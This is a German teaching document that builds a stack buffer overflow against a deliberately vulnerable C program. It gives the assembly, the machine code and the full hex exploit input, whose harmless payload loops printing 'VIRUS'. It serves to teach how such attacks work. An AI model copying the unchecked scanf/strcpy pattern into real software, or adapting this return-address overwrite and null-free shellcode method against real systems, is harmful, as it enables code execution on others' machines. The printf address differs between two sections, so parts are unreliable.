1 Buffer-Overflow

1.1 Beschreibung

Das folgende Programm hat genau den selben Programmierfehler wie das Programm in Beschreibung1.doc, d.h. es kann nicht reservierter Speicher überschrieben werden.
Der einzige Unterschied zu dem anderen Programm besteht darin, daß das Programm (siehe unten) längere Felder besitzt und deshalb der Hacker ein größeres Programm eingeben kann.
Es ist eine Demonstration eines etwas aufwendigeren, "luxeriöseren" Buffer-Overflows, in dem die printf-Funktion in einer Endlosschleife aufgerufen und immer wieder die gleiche Meldung (VIRUS ...) auf dem Bildschirm ausgegeben wird.

1.2 Das anzugreifende Programm

```
#include "stdafx.h"
#include <string.h>
#include <stdio.h>

void f();

void f(){
  char lok1[48];
  char lok2[60];

  printf("Bitte Zeichen einlesen\n");
  scanf("%s",&lok2);
  strcpy(lok1, lok2);
}
void main(){
  f();
}
```

1.3 Der Angriff

Der Stack (besser der Frame auf dem Stack) beginnt, bei Eintritt in die Funktion, an der Adresse 00 12 FF 2C
Der Exploit beginnt bei der symbolischen (um sich diese leichter merken zu können) Adresse @exploit, die später durch die konkrete Adresse ersetzt wird.
Der Inhalt des Exploits besteht einmal aus der 5 Byte großen Zeichenkette V I R U S
und dem eigentlichen Programm, dem sogenannten Payload.

1.3.1 In "symbolischem" Assembler notiert

```
@exploit: "VIRUS"
// Nach der Ausführung der Funktion f (genauer: nach Ausführung des Befehl ret in f),
// d.h. wenn der erste Befehl des Exploit abgearbeitet wird, zeigt der Stackpointer auf die
// mit <--- bezeichnete Stelle und die Belegung des Stack sieht wie folgt aus:
// 2. lokale Variable lok2                                          (S4)   (60 Byte)
// 1. lokale Variable lok1                                          (S3)   (48 Byte)
// ebp                                                              (S2)    (4 Byte)
// Rücksprungadresse (überschrieben durch Anfangsadresse des Exploits) (S1)    (4 Byte)
// Stelle vor dem Aufruf von f im Hauptprogramm main                (S0)  <---
//
// Da im Exploit (siehe unten) die Funktion printf() aufgerufen wird und in dieser der
// Stackpointer (durch push und andere Befehle) um mindestens 500 Byte verringert
// wird (nachprüfen mit Debugger), werden nacheinander die Speicherbereiche
// (S1) bis (S4) überschrieben. Da sich in (S3) der Exploit befindet, würde dieser
// überschrieben (zerstört) werden. Deshalb muß man sicherstellen, daß dieser
// Speicherbereich nicht überschrieben wird. Das macht man dadurch, daß der
// Stackpointer mit "sub esp, 100" verringert wird. Die push-Befehle in printf beschreiben
// dann den Stack erst wieder in (S4), da alle Bytes in (S4) mindestens 48 +  4 + 4 Bytes
// und höchstens 48 + 4 + 4 + 60 Bytes, also zwischen 56 Bytes und 108 Bytes
// von <--- entfernt liegen.
sub esp, 100
M:
mov eax, @exploit  // Adresse der Zeichenkette "VIRUS" in eax speichern
push eax  // Adresse derZeichenkette "VIRUS" auf den Stack pushen (verlangt printf)
mov eax, 0x00401220
// Aufruf von printf: in diesem exe-Programm steht printf immer an der Adresse 0x00401220.
call eax
pop ebx   // holt eax vom Befehl push eax wieder vom Stack, sonst Stack-Overflow
jmp M      //  Endlosschleife
// restlichen Speicher auffüllen
// Rücksprungadresse = M
```

Bemerkungen:
1) Der Befehl pop ebx , oder irgend ein anderer Befehl, der den Stack wieder abräumt, ist unbedingt nötig, da sonst der Stack bei jedem Schleifendurchgang durch push eax vergrößert wird und es deshalb irgendwann zu einem Stack-Overflow kommt.

1.3.2 In Assembler und Maschinesprache des 80386 umgesetzt

```
// Zeichenkette "VIRUS" steht direkt vor dem Maschinencode

// Wenn der letzte Maschinenbefehl (ret) in der Funktion f abgearbeitet wurde, holt dieser
// die Rücksprungadresse (die durch die Tastatureingabe geändert wurde) vom Stack. Dadurch
// macht das Programm an der Stelle des Payload (also beim ersten Maschinenbefehl) im
// Exploit weiter.
// Der Wert des Stackpointer esp ist dann, vor der Abbarbeitung des ersten der folgenden
// Maschinenbefehle, esp = 0x0012FF34. Damit ist er nur 8 Byte vom Speicher lok1 entfernt
// (in den der Exploit kopiert wird). Wie vorher festgestellt, muß dieser Speicher von den sich
// in printf befindlichen push-Befehle durch "sub esp, 100" geschützt werden.
sub esp, 100   // Maschinencode: 83 EC 64
M:
// Die Adresse des Strings VIRUS ist 0x0012FEFC. Diese Adresse enthält eine 0.
// Würde diese in einem Operanden eines Maschinenbefehls (z.B. mov) vorkommen und
// wird dann dieser Maschinenbefehl vom Hacker über Tastatur eingegeben weden, dann
// müßte auch die 0 eingeben werden. Die Eingabe einer Null würde für scanf aber das
// Ende der bis dahin eingegebenen Zeichenkette bedeuten !
// Deshalb muß man diese 0 unbedingt vermeiden und die Adresse eben anderst darstellen,
// z.B. durch:
// 0x0012FEFC  = 0x0114112D - 0x01011201 - 48 (= 0x0012FF2C - 48)
mov eax, 0x0114112D   // Maschinencode: B8 2D 11 14 01
sub eax, 0x01011201   // Maschinencode: 2D 01 12 01 01
sub eax, 48   // Maschinencode: 83 E8 30
// printf verlangt, daß die Adresse 0x0012FEFC des Strings auf den Stack muß
push eax   // Maschinencode: 50
// jetzt soll printf angesprungen werden. Dazu muß in eax die
// Adresse von printf geladen werden.
// Da in der Adresse, wo die Funktion printf beginnt, nämlich bei 0x00401240 wieder
// eine 0 vorkommt, muß dies, wie oben, wieder vermieden werden:
// 0x00401240 = 0x01411341 - 0x01010101
mov eax, 0x01411341   // Maschinencode: B8 41 13 41 01
sub eax, 0x01010101   // Maschinencode: 2D 01 01 01 01
// printf anspringen
call eax   // Maschinencode: FF D0
// Die vorher auf den Stack gepushte Adresse wieder entfernen,
// sonst gibt es in der Schleife irgendwann einen Stack-Overflow.
pop ebx   // Maschinencode: 5B
// In die Schleife springen
jmp M   // Maschinencode: EB E3
// restlichen Speicher auffüllen
// Rücksprungadresse = M
```

1.4 Die zusammengestellten Maschinenbefehle

Wie man sieht, kommt in den folgenden Bytes kein Byte mit dem Wert 0 vor.

1.4.1 Maschinencode des Exploits (hexadezimal, dezimal bzw. Zeichen)

Bemerkung: # bzw. ? bedeutet jeweils ein beliebiges Zeichen (oder Byte)

1.4.1.1 Hexadezimale Schreibweise (bzw. Buchstaben als ASCII-Zeichen)

```
 V  I  R  U  S 83 EC 64 B8 2D 11 14 01 2D 01 12 01 01 83 E8 30
50 B8 41 13 41 01 2D 01 01 01 01 FF D0 5B EB E3  ?  ?  ?  ?  ?
 ?  ?  ?  ?  ?  ?  #  #  #  # 01 FF 12 00
```

1.4.1.2 Dezimale Schreibweise (bzw. Buchstaben als ASCII-Zeichen)

```
 V   I    R   U   S  131   236   100   184    45   17   20    1
45   1   18   1   1  131   232    48    80   184   65   19   65
 1  45    1   1   1    1   255   208    91   235  227    ?    ?
 ?   ?    ?   ?   ?    ?     ?     ?     ?     #    #    #    #
 1 255   18   0
```

1.4.1.3 Bemerkungen

1) Das Programm kann also durch die Eingabe des obigen Maschinencodes des Exploiten angegriffen werden. Dazu müsen die obigen 56 Zeichen mühsam (ohne sich zu verschreiben) über Tastatur eingegeben werden. Um sich diese Arbeit nicht immer machen zu müssen, kann man diese 56 Zeichen mit Hilfe eines Hexeditors in eine Datei (z.B. schnell2.txt) schreiben. Dann geht man in die Eingabeaufforderung (DOS-Fenster) und ruft das anzugreifende Programm (das hier demo_overflow2.exe heißt) wie folgt auf:

```
demo_overflow2 < schnell2.txt
```

2) Wenn man die exe-Datei demo_overflow2 selbst erzeugen will, indem man die cpp-Datei demo_overflow2.cpp compiliert und linkt, kann es passieren, daß der Linker die printf-Funktion nicht an die Adresse 0x00401240 (wie oben im Programm) plaziert, sondern an eine andere Adresse. Diese kann man aber mit dem Debugger ermitteln. Der Maschinencode, der dann über Tastatur eingegeben wird, muß dann entsprechende verändert (angepaßt) werden.

1.4.2 Belegung des Stacks

Adressen	Inhalt	Beschreibung	Befehle	Maschinencode
0x0012FEC0	Exploit	Speicher für lokale Variable lok2.		
....				
0x0012FEFB				
0x0012FEFC	kopierter Exploit	Speicher für lokale Variable lok1. In lok1 wird durch strcpy die in lok2 abgespeicherte Tastatureingabe reinkopiert.		V
				I
				R
				U
				S
0x0012FF01				83
...				EC
				64
				...
				5B
				EB
				E3
				?
				?
				?
				?
				?
				?
				?
				?
				?
				?
0x0012FF2C		alter Wert (*) von Register ebp	(*) wird überschrieben durch: #### (siehe rechts)	#
0x0012FF2D				#
0x0012FF2E				#
0x0012FF2F				#
0x0012FF30		Rücksprung-adresse (**) in main	(**) wird überschrieben durch: 0012FF01 (siehe rechts)	**01**
0x0012FF31				**FF**
0x0012FF32				**12**
0x0012FF33				**00**

In dem gestrichelt gezeichneten Speicherbereich findet der Buffer-Overflow statt !!